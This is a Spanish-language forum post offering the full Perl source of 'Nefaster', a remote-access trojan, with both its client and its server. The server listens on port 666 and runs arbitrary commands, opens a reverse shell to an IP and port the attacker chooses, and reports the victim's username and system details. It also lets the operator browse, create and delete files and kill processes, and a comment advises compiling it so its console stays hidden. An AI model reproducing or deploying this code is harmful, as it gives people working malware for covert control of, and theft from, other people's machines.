[Perl] Troyano Nefaster

Iniciado por BigBear, 9 Octubre 2011, 17:47 PM

0 Miembros y 1 Visitante están viendo este tema.

BigBear

Bueno es es mi troyano Nefaster , en esta version le arregle varias cosas que pasare a detallar

  • Mostrar Informacion

  • Navegador de archivos

  • Cambiar directorio de navegacion
  • Crear archivo
  • Borrar archivo
  • Borrar directorio
  • Reproducir musica o videos poniendo la ruta en la opcion
  • Parar reproduccion

  • Abrir lectora de CD
  • Cerrar lectora de CD
  • Puertos abiertos
  • Mensaje
  • Ejecutar comandos
  • Esconder barra de tareas
  • Devolver barra de tareas
  • Esconder iconos del escritorio
  • Devolver iconos del escritorio
  • Administrar procesos con posibilidad de cerrar el que quieran
  • Reverse Shell si es que quieren ejecutar comandos de forma mas comoda


    El codigo del cliente es este


    Código (perl) [Seleccionar]
    #!usr/bin/perl
    #Nefester (Cliente) 0.1 By Doddy H


    use IO::Socket;
    use Cwd;

    &menu;

    sub head {

    system 'cls';

    print q(


                E      F                   TT    E       
    NNNNNNNEEEEEE FFFFFF   AAA   SSSSSTTTTTTEEEEEE RRRRRR
    NN NN  E EE   FFFF   A AA  S  S T TT T  E EE   RRRRR
    NNNNN  E EE   FF F   AAAAA S     T TT   E EE   RR  R
    NNNNN EEEEE  FFFFF  AAA AA  SSS S  TT  EEEEE  RRRRR 
    NNNNN  E EEE  FFF    AAAAA S  SSS  TT   E EEE  RR R 
    NN NN  EEEE E FF    AAA AA SS  SS  TT   EEEE E RR  R
    NNN NN EEEEEEEFFFF  AAA  AAA  SSS  TTTT EEEEEEE RRR RR
                                SS                 R   R 



    );

    }

    sub menu {

    &head;

    print "[Target] : ";
    chomp(my $ip = <STDIN>);



    my $socket = new IO::Socket::INET(
    PeerAddr => $ip,
    PeerPort => 666,
    Proto => 'tcp',
    Timeout  => 5
    );

    if ($socket) {
    $socket->close;
    &menuo($ip);
    } else {
    print "\n\n[-] Target no infectado\n";
    <STDIN>;
    &menu;
    }

    }

    sub menuo {

    &head;

    print "[$_[0]] : Servidor Activado\n\n";
    print q(
    1 : Informacion
    2 : Navegador
    3 : Abrir CD
    4 : Cerrar CD
    5 : Puertos abiertos
    6 : Mensaje
    7 : CMD
    8 : Esconder barra de tareas
    9 : Devolver barra de tareas
    10 : Esconder iconos
    11 : Devolver iconos
    12 : Administrar procesos
    13 : Reverse Shell
    14 : Cambiar IP
    15 : Salir


    );
    print "[Opcion] : ";
    chomp(my $opcion = <STDIN>);


    if ($opcion eq 1) {
    print "\n\n[+] Informacion\n\n";
    $re = daryrecibir($_[0],"infor");
    if ($re=~/:(.*):(.*):(.*):(.*):(.*):/) {
    print "[Dominio] : $1\n";
    print "[Chip] : $2\n";
    print "[Version] : $3\n";
    print "[Nombre] : $4\n";
    print "[OS] : $5\n";
    <stdin>;
    }
    &menuo($_[0]);
    }
    elsif ($opcion eq 2) {

    menu1:
    print "\n\n[+] Navegacion de archivos\n\n";
    $cwd = daryrecibir($_[0],"getcwd"."\r\n");
    print "tengo $cwd\n";
    show($_[0],"/");
    &menu2;

    sub menu2 {
    print "\n\n[Opciones]\n\n";
    print "1 - Cambiar directorio\n";
    print "2 - Crear archivo\n";
    print "3 - Borrar archivo\n";
    print "4 - Borrar directorio\n";
    print "5 - Reproducir musica\n";
    print "6 - Parar reproduccion\n";
    print "7 - Volver al menu inicial\n\n";
    print "[Opcion] : ";
    chomp(my $op = <stdin>);

    if ($op eq 1) {
    print "\n\n[+] Directorio : ";
    chomp (my $dir=<stdin>);
    $ver = daryrecibir($_[0],"chdirnow K0BRA".$dir."K0BRA");
    if ($ver=~/ok/ig) {
    print "\n\n[+] Directory changed\n\n";
    }
    show($_[0],$dir);
    &menu2;
    <stdin>;
    }

    elsif ($op eq 2) {

    print "\n\n[Nombre] : ";
    chomp(my $name = <stdin>);
    print "\n\n[Contenido] : ";
    chomp(my $code = <stdin>);

    daryrecibir($_[0],"crearnow K0BRA".$name."K0BRA ACATOY".$code."ACATOY");

    print "\n\n[+] Archivo creado \n\n";
    <stdin>;
    }
    elsif ($op eq 3) {
    print "\n\n[Archivo a borrar] : ";
    chomp(my $file = <stdin>);
    $re = daryrecibir($_[0],"borrarfile K0BRA".$file."K0BRA");
    if ($re=~/ok/) {
    print "\n\n[+] Archivo Borrado\n\n";
    } else {
    print "\n\n[-] Error\n\n";
    }
    <stdin>;
    }

    elsif ($op eq 4) {
    print "\n\n[Directorio a borrar] : ";
    chomp(my $file = <stdin>);
    $re = daryrecibir($_[0],"borrardir K0BRA".$file."K0BRA");
    if ($re=~/ok/) {
    print "\n\n[+] Directorio Borrado\n\n";
    } else {
    print "\n\n[-] Error\n\n";
    }
    <stdin>;
    }

    elsif ($op eq 5) {
    print "\n\n[Archivo] : ";
    chomp(my $file = <stdin>);
    print "\n\n[+] Reproduciendo\n\n";
    daryrecibir($_[0],"playmusic K0BRA".$file."K0BRA");
    <stdin>;
    }
    elsif ($op eq 6) {
    print "\n\n[+] Reproduccion detenida\n\n";
    daryrecibir($_[0],"pararmusic");
    <stdin>;
    }
    elsif ($op eq 7) {
    &menuo($_[0]);
    }
    else {
    show($_[0],"/");
    }
    goto menu1;
    }
    }

    elsif ($opcion eq 3) {
    daryrecibir($_[0],"opencd");
    &menuo($_[0]);
    }

    elsif ($opcion eq 4) {
    daryrecibir($_[0],"closedcd");
    &menuo($_[0]);
    }

    elsif ($opcion eq 5) {
    print "\n[Puertos Abiertos]\n\n";
    $re = daryrecibir($_[0],"porters");
    while ($re=~/:(.*?):/ig) {
    if ($1 ne "") {
    print "[+] $1\n";
    }
    }
    <stdin>;
    &menuo($_[0]);
    }
    elsif ($opcion eq 6) {
    print "\n[Mensaje] : ";
    chomp (my $msg = <stdin>);
    daryrecibir($_[0],"msgbox $msg");
    <stdin>;
    &menuo($_[0]);
    }
    elsif ($opcion eq 7) {

    menu:

    my $cmd,$re;

    print "\n\n>";

    chomp(my $cmd= <stdin>);

    if ($cmd=~/exit/ig) {
    &menuo($_[0]);
    }

    $re = daryrecibir($_[0],"comando :$cmd:");
    print "\n".$re;
    goto menu;
    &menuo($_[0]);
    }
    elsif ($opcion eq 8) {
    daryrecibir($_[0],"iniciochau");
    &menuo($_[0]);
    }
    elsif ($opcion eq 9) {
    daryrecibir($_[0],"iniciovuelve");
    &menuo($_[0]);
    }
    elsif ($opcion eq 10) {
    daryrecibir($_[0],"iconochau");
    &menuo($_[0]);
    }
    elsif ($opcion eq 11) {
    daryrecibir($_[0],"iconovuelve");
    &menuo($_[0]);
    }

    elsif ($opcion eq 12) {

    &reload($_[0]);

    sub reload {

    my @pro;
    my @pids;

    my $sockex = new IO::Socket::INET(
    PeerAddr => $_[0],
    PeerPort => 666,
    Proto => 'tcp',
    Timeout  => 5
    );

    print $sockex "mostrarpro"."\r\n";
    $sockex->read($re,5000);
    $sockex->close;

    chomp $re;

    print "\n\n[+] Procesos encontrados\n\n";

    while ($re=~/PROXEC(.*?)PROXEC/ig) {
    if ($1 ne "") {
    push(@pro,$1);
    }
    }

    while ($re=~/PIDX(.*?)PIDX/ig) {
    if ($1 ne "") {
    push(@pids,$1);
    }
    }

    $cantidad = int(@pro);

    for my $num(1..$cantidad) {
    if ($pro[$num] ne "") {
    print "\n[+] Proceso : ".$pro[$num]."\n";
    print "[+] PIDS : ".$pids[$num]."\n";
    }
    }

    print q(

    [Opciones]


    1 - Refrescar lista
    2 - Cerrar procesos
    3 - Volver al menu

    );

    print "\n[Opcion] :  ";
    chomp(my $opc = <stdin>);

    if ($opc=~/1/ig) {
    &reload($_[0]);
    }
    elsif($opc=~/2/ig) {
    print "\n[+] Write the name of the process : ";
    chomp(my $numb = <stdin>);
    print "\n[+] Write the PID of the process : ";
    chomp(my $pid = <stdin>);
    $re = daryrecibir($_[0],"chauproce K0BRA".$pid."K0BRA".$numb."K0BRA");
    if ($re=~/ok/ig) {
    print "\n\n[+] Proceso cerrado\n\n";
    } else {
    print "\n\n[-] Error\n\n";
    }
    <stdin>;
    &reload($_[0]);
    }
    elsif($opc=~/3/ig) {
    &menuo($_[0]);
    }
    else {
    &reload;
    }
    }
    }

    elsif ($opcion eq 13) {
    print "\n\n[IP] : ";
    chomp(my $ip = <stdin>);
    print "\n\n[Port] : ";
    chomp(my $port = <stdin>);
    print "\n\n[+] Connected !!!\n\n";
    $re = daryrecibir($_[0],"backshell :$ip:$port:");
    }
    elsif ($opcion eq 14) {
    &menu;
    }
    elsif ($opcion eq 15) {
    exit 1;
    }
    else {
    &menuo;
    }
    }

    sub daryrecibir {

    my $sockex = new IO::Socket::INET(
    PeerAddr => $_[0],
    PeerPort => 666,
    Proto => 'tcp',
    Timeout  => 5
    );

    print $sockex $_[1]."\r\n";
    $sockex->read($re,5000);
    $sockex->close;
    return $re."\r";
    }

    sub show {

    my $re = daryrecibir($_[0],"getcwd"."\r\n");
    print "\n\n[+] Directorio Actual : $re\n\n";
    $re1 = daryrecibir($_[0],"dirnow ACATOY".$re."ACATOY"."\r\n");
    print "\n\n[Directorios]\n\n";

    while ($re1=~/DIREX(.*?)DIREX/ig) {
    if ($1 ne "") {
    print "[+] $1\n";
    }
    }

    print "\n\n[Archivos]\n\n";

    while ($re1=~/FILEX(.*?)FILEX/ig) {
    if ($1 ne "") {
    print "[+] $1\n";
    }
    }

    }

    #
    # ¿ The End ?
    #


    Y el server

    Código (perl) [Seleccionar]

    #!/usr/bin/perl
    #Nefester (sERVidor) 0.1 By Doddy H
    #Compilar con perl2exe para sacar consola

    use IO::Socket;
    use Socket;
    use Win32;
    use Cwd;
    use Win32::MediaPlayer;
    use Win32::Process::List;
    use Win32::Process;
    use Win32::API;

    use constant SW_HIDE => 0;
    use constant SW_SHOWNORMAL => 1;

    my $a = new Win32::API('user32', 'FindWindow', 'PP', 'N');
    my $b = new Win32::API('user32', 'ShowWindow', 'NN', 'N');

    $test = new Win32::MediaPlayer;

    my $sock = IO::Socket::INET->new(LocalPort => 666,
    Listen => 10,
    Proto => 'tcp',
    Reuse => 1);

    print "online\n";

    while (my $con = $sock->accept){
    $resultado = <$con>;
    print "boludo mando : $resultado\n";

    if ($resultado=~/msgbox (.*)/ig) {
    Win32::MsgBox($1,0,"Mensaje de Dios")
    }

    if ($resultado=~/backshell :(.*):(.*):/ig) {

    my ($ip,$port) = ($1,$2);

    print "conectando $ip con $port\n";

    $ip =~s/(\s)+$//;
    $port =~s/(\s)+$//;

    conectar($ip,$port);
    tipo();

    sub conectar {
    socket(REVERSE, PF_INET, SOCK_STREAM, getprotobyname('tcp'));
    connect(REVERSE, sockaddr_in($_[1],inet_aton($_[0])));
    open (STDIN,">&REVERSE");
    open (STDOUT,">&REVERSE");
    open (STDERR,">&REVERSE");
    }

    sub tipo {
    print "\n[*] Reverse Shell Starting...\n\n";
    if ($^O =~/Win32/ig) {
    infowin();
    system("cmd.exe");
    } else {
    infolinux();
    #root(); 
    system("export TERM=xterm;exec sh -i");
    }
    }

    sub infowin {
    print "[+] Domain Name : ".Win32::DomainName()."\n";
    print "[+] OS Version : ".Win32::GetOSName()."\n";
    print "[+] Username : ".Win32::LoginName()."\n\n\n";
    }

    sub infolinux {
    print "[+] System information\n\n";
    system("uname -a");
    print "\n\n";
    }


    }

    if ($resultado =~/opencd/ig) {

    use Win32::API;

    my $ventana = Win32::API->new("winmm", "mciSendString", "PPNN", "N");
    my $rta = ' ' x 127; 
    $ventana->Call('set CDAudio door open', $rta, 127, 0);
    print $con "ok"."\r\n";
    }

    if ($resultado=~/chauproce K0BRA(.*)K0BRA(.*)K0BRA/ig) {

    my ($pid,$numb) = ($1,$2);

    $pid=~s/(\s)+$//;
    $numb=~s/(\s)+$//;

    if (Win32::Process::KillProcess($pid,$numb)) {
    print $con "ok\r\n";
    }
    }

    if ($resultado =~/closedcd/ig) {

    use Win32::API;

    my $ventana = Win32::API->new("winmm", "mciSendString", "PPNN", "N");
    my $rta = ' ' x 127; 
    $ventana->Call('set CDAudio door closed', $rta, 127, 0);
    print $con "ok"."\r\n";
    }

    if ($resultado=~/borrarfile K0BRA(.*)K0BRA/ig) {

    my $filex = $1;

    $filex =~s/(\s)+$//;

    print getcwd()."/".$filex."\n\n";

    if (unlink(getcwd()."/".$filex)) {
    print $con "ok\r\n";
    }

    }



    if ($resultado=~/infor/ig) {
    print "mando";
    use Win32;


    my $domain = Win32::DomainName();
    my $chip = Win32::GetChipName();
    my $version = Win32::GetOSVersion();
    my $nombre = Win32::LoginName();
    my  $os = Win32::GetOSName();

    print $con ":".$domain.":".$chip.":".$version.":".$nombre.":".$os.":"."\r\n";
    }


    if ($resultado=~/porters/ig) {

    use Net::Netstat::Wrapper;

    $por = "";
    @ports = Net::Netstat::Wrapper->only_port();
    for(@ports) {
    $por = $por.":".$_;
    }
    print $con $por."\r\n";
    }


    if ($resultado=~/playmusic K0BRA(.*)K0BRA/ig) {

    my $cancion = $1;

    $cancion =~s/(\s)+$//;

    $test->load($cancion);
    $test->play;

    }

    if ($resultado=~/chdirnow K0BRA(.*)K0BRA/ig) {

    my $dir = $1;
    $dir =~s/(\s)+$//;


    if (chdir($dir)) {
    print $con "ok\r\n";
    }

    }

    if ($resultado=~/borrardir K0BRA(.*)K0BRA/ig) {

    my $veox = $1;
    $veox =~s/(\s)+$//;

    if (rmdir(getcwd()."/".$veox)) {
    print $con "ok\r\n";
    }
    }



    if ($resultado=~/pararmusic/ig) {
    $test->close;
    }



    if ($resultado=~/dirnow ACATOY(.*)/ig) {

    my $real = $1;
    chomp $real;

    $real =~s/(\s)+$//;

    print "real $real\n\n";

    my @archivos = coleccionar($real);

    for (@archivos) {
    print $_."\n";
    my $todo = $real."/".$_;

    print $todo."\n";

    if (-f $todo) {
    print $con "FILEX".$_."FILEX"."\r\n";
    print "File : ".$_."\n";
    }

    if (-d $todo) {
    print $con "DIREX".$_."DIREX"."\r\n";
    print "Dir : ".$_."\n";
    }

    }
    }

    sub coleccionar {
    opendir DIR,$_[0];
    my @archivos = readdir DIR;
    close DIR;
    return @archivos;
    }

    if ($resultado=~/getcwd/ig) {
    print "envie ".getcwd()."\n\n";
    print $con getcwd()."\r\n";
    }


    if ($resultado=~/mostrarpro/ig) {


    my $new = Win32::Process::List->new(); 
    my %process = $new->GetProcesses();
    for my $pid (keys %process) {
    print $con "PROXEC".$process{$pid}."PROXEC\r\n";
    print $con "PIDX".$pid."PIDX\r\n";

    }


    }

    if ($resultado=~/crearnow K0BRA(.*)K0BRA ACATOY(.*)ACATOY/ig) {
    my $name = $1;
    my $file = $2;

    chomp $name;
    chomp $file;

    $name =~s/(\s)+$//;
    $file =~s/(\s)+$//;

    print "name is $name end\n";
    print "file is $file end\n";

    open FILE,">>".$name;
    print FILE $file."\n";
    close FILE;
    }

    if ($resultado=~/comando :(.*):/ig) {
    print "llego comando $1\n";
    print $resultado;
    my $temp = qx($1);
    print $con $temp."\r";
    }

    if ($resultado=~/iniciochau/g) {
    inicio_chau("Shell_TrayWnd");
    }
    if ($resultado=~/iniciovuelve/g) {
    inicio_vuelve("Shell_TrayWnd");
    } else {
    print $resultado;
    }
    if ($resultado=~/iconovuelve/g) {
    icono_vuelve("Program Manager");
    }
    if ($resultado=~/iconochau/g) {
    icono_chau("Program Manager");
    }


    sub icono_vuelve {
    $handle = $a->Call(0,$_[0]);
    $b->Call($handle,SW_SHOWNORMAL);

    }

    sub icono_chau {

    $handle = $a->Call(0,$_[0]);
    $b->Call($handle,SW_HIDE);

    }

    sub inicio_vuelve {
    $handlex = $a->Call($_[0],0);
    $b->Call($handlex,SW_SHOWNORMAL);

    }

    sub inicio_chau {

    $handlea = $a->Call($_[0],0);
    $b->Call($handlea,SW_HIDE);

    }


    }


    # ¿ The End ?